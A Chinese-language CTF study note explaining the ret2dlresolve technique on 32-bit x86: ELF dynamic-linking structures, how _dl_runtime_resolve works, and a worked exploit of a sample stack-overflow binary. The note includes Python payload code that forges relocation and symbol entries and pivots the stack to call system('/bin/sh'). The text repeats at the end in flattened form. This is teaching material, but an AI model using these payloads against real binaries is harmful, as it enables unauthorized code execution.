ret2dlresolve-x86 学习记录
字数 1263 2025-08-23 18:31:25

ret2dlresolve攻击技术详解(x86架构)

0x0 前置知识

ELF文件关键数据结构

1. ELF Symbol Table (.dynsym)

typedef struct {
    Elf32_Word st_name;   // 符号名在.dynstr中的偏移
    Elf32_Addr st_value;
    Elf32_Word st_size;
    unsigned char st_info; // 对于导入函数符号为0x12
    unsigned char st_other;
    Elf32_Section st_shndx;
} Elf32_Sym; // 每个结构体16字节

2. ELF String Table (.dynstr)

动态链接字符串表,第一个字节为0,包含动态链接所需的字符串(如导入函数名),以\x00结尾。

3. ELF REL Relocation Table (.rel.plt)

typedef struct {
    Elf32_Addr r_offset;  // GOT表地址
    Elf32_Word r_info;    // 在dynsym表中的偏移
} Elf32_Rel; // 每个结构体8字节

4. .dynamic段

typedef struct {
    Elf32_Sword d_tag;    // Dynamic entry type
    union {
        Elf32_Word d_val; // Integer value
        Elf32_Addr d_ptr; // Address value
    } d_un;
} Elf32_Dyn;

.dynamic段保存动态链接器需要的基本信息,包括:

  • 依赖的共享对象
  • 动态链接符号表(.dynsym)位置
  • 动态链接重定位表(.rel.plt)位置
  • 动态链接字符串表(.dynstr)位置

0x1 核心机制:_dl_runtime_resolve

函数原型:_dl_runtime_resolve(link_map_obj, reloc_arg)

工作流程:

  1. 通过link_map_obj访问.dynamic表,获取.dynstr、.dynsym、.rel.plt三表的首地址
  2. reloc_arg + .rel.plt首地址得到目标函数的ELF32_REL指针(rel)
  3. rel->r_info >> 8作为.dynsym表中的下标,得到ELF32_Sym指针(sym)
  4. .dynstr首地址 + sym->st_name得到函数名字符串指针
  5. 在动态链接库中查找函数地址并写入GOT表
  6. 调用该函数

x86架构特点:

  • reloc_argreloc_offset,表示重定位项距离.rel.plt起始位置的偏移
  • 目标函数重定位项地址 = JMPREL + reloc_offset

0x2 漏洞原理

攻击点:

  1. _dl_runtime_resolve不检查符号是否越界
  2. 解析过程完全依赖攻击者控制的数据
  3. 可以通过伪造以下内容实现攻击:
    • 控制reloc_arg参数指向攻击者控制区域
    • 伪造重定位表项
    • 伪造符号内容
    • 伪造函数名字符串

0x3 利用条件

  1. 题目未给出libc库
  2. 程序未开启PIE保护(若开启需泄露基地址)
  3. 程序未开启FULL RELRO

0x4 利用步骤详解

示例程序分析

#include <stdio.h>
#include <unistd.h>

int init() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 1, 0);
    setvbuf(stderr, 0, 1, 0);
    return alarm(60);
}

int vuln() {
    char v1[40];
    return read(0, v1, 0x100);
}

int main() {
    init();
    vuln();
    return 0;
}

检查保护:

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

利用过程

  1. 获取关键段地址

    plt0 = elf.get_section_by_name('.plt').header.sh_addr
    rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
    dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
    dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
    
  2. 构造伪造的ELF32_Sym结构体

    Elf32_Sym_sys_addr = writable_addr + 32
    align = 0x10 - ((Elf32_Sym_sys_addr - dynsym) & 0xf)
    Elf32_Sym_sys_addr += align
    st_name = Elf32_Sym_sys_addr + 0x10 - dynstr
    Elf32_Sym_sys = p32(st_name) + p32(0) + p32(0) + p32(12)
    
  3. 构造伪造的ELF32_Rel结构体

    r_offset = read_got
    r_index = (Elf32_Sym_sys_addr - dynsym) / 0x10
    r_info = int(r_index) << 8 | 0x7
    reloc_index = writable_addr - rel_plt + 24
    Elf32_rel_plt_sys = p32(r_offset) + p32(r_info)
    
  4. 分阶段payload构造

    • 第一次read:准备第二次read

      payload1 = 0x2c * b'a'
      payload1 += p32(read_plt)
      payload1 += p32(0x0804852D)  # vuln函数地址
      payload1 += p32(0)
      payload1 += p32(writable_addr)
      payload1 += p32(100)
      
    • 第二次read:写入伪造的ROP链

      payload2 = p32(plt0)
      payload2 += p32(reloc_index)
      payload2 += p32(0xdeadbeef)  # 返回地址
      payload2 += p32(writable_addr + 80)  # '/bin/sh\x00' addr
      payload2 += p32(0)
      payload2 += p32(0)
      payload2 += Elf32_rel_plt_sys
      payload2 += align * b'a'
      payload2 += Elf32_Sym_sys
      payload2 += b'system\x00'
      payload2 += (80 - len(payload2)) * b'a'
      payload2 += b'/bin/sh\x00'
      
    • 第三次read:栈迁移

      payload3 = 0x28 * b'a'
      payload3 += p32(writable_addr - 4)  # ebp
      payload3 += p32(leave_ret)  # eip
      

0x5 关键点总结

  1. 对齐要求:伪造的dynsym结构体地址必须相对于dynsym首地址16字节对齐
  2. 结构体布局顺序:按照_dl_runtime_resolve解析顺序布置 - rel → sym → str
  3. 控制流劫持:通过栈迁移将控制流转移到伪造的ROP链
  4. 参数传递:确保system函数的参数正确布置在栈上

参考资源

  1. ret2_dl_runtime_resolve详解 - sp4n9x
  2. CTF-Wiki - ret2dlresolve
ret2dlresolve攻击技术详解(x86架构) 0x0 前置知识 ELF文件关键数据结构 1. ELF Symbol Table (.dynsym) 2. ELF String Table (.dynstr) 动态链接字符串表,第一个字节为0,包含动态链接所需的字符串(如导入函数名),以\x00结尾。 3. ELF REL Relocation Table (.rel.plt) 4. .dynamic段 .dynamic段保存动态链接器需要的基本信息,包括: 依赖的共享对象 动态链接符号表(.dynsym)位置 动态链接重定位表(.rel.plt)位置 动态链接字符串表(.dynstr)位置 0x1 核心机制:_ dl_ runtime_ resolve 函数原型: _dl_runtime_resolve(link_map_obj, reloc_arg) 工作流程: 通过link_ map_ obj访问.dynamic表,获取.dynstr、.dynsym、.rel.plt三表的首地址 reloc_arg + .rel.plt首地址 得到目标函数的ELF32_ REL指针(rel) rel->r_info >> 8 作为.dynsym表中的下标,得到ELF32_ Sym指针(sym) .dynstr首地址 + sym->st_name 得到函数名字符串指针 在动态链接库中查找函数地址并写入GOT表 调用该函数 x86架构特点: reloc_arg 即 reloc_offset ,表示重定位项距离.rel.plt起始位置的偏移 目标函数重定位项地址 = JMPREL + reloc_ offset 0x2 漏洞原理 攻击点: _dl_runtime_resolve 不检查符号是否越界 解析过程完全依赖攻击者控制的数据 可以通过伪造以下内容实现攻击: 控制reloc_ arg参数指向攻击者控制区域 伪造重定位表项 伪造符号内容 伪造函数名字符串 0x3 利用条件 题目未给出libc库 程序未开启PIE保护(若开启需泄露基地址) 程序未开启FULL RELRO 0x4 利用步骤详解 示例程序分析 检查保护: 利用过程 获取关键段地址 构造伪造的ELF32_ Sym结构体 构造伪造的ELF32_ Rel结构体 分阶段payload构造 第一次read:准备第二次read 第二次read:写入伪造的ROP链 第三次read:栈迁移 0x5 关键点总结 对齐要求 :伪造的dynsym结构体地址必须相对于dynsym首地址16字节对齐 结构体布局顺序 :按照_ dl_ runtime_ resolve解析顺序布置 - rel → sym → str 控制流劫持 :通过栈迁移将控制流转移到伪造的ROP链 参数传递 :确保system函数的参数正确布置在栈上 参考资源 ret2_ dl_ runtime_ resolve详解 - sp4n9x CTF-Wiki - ret2dlresolve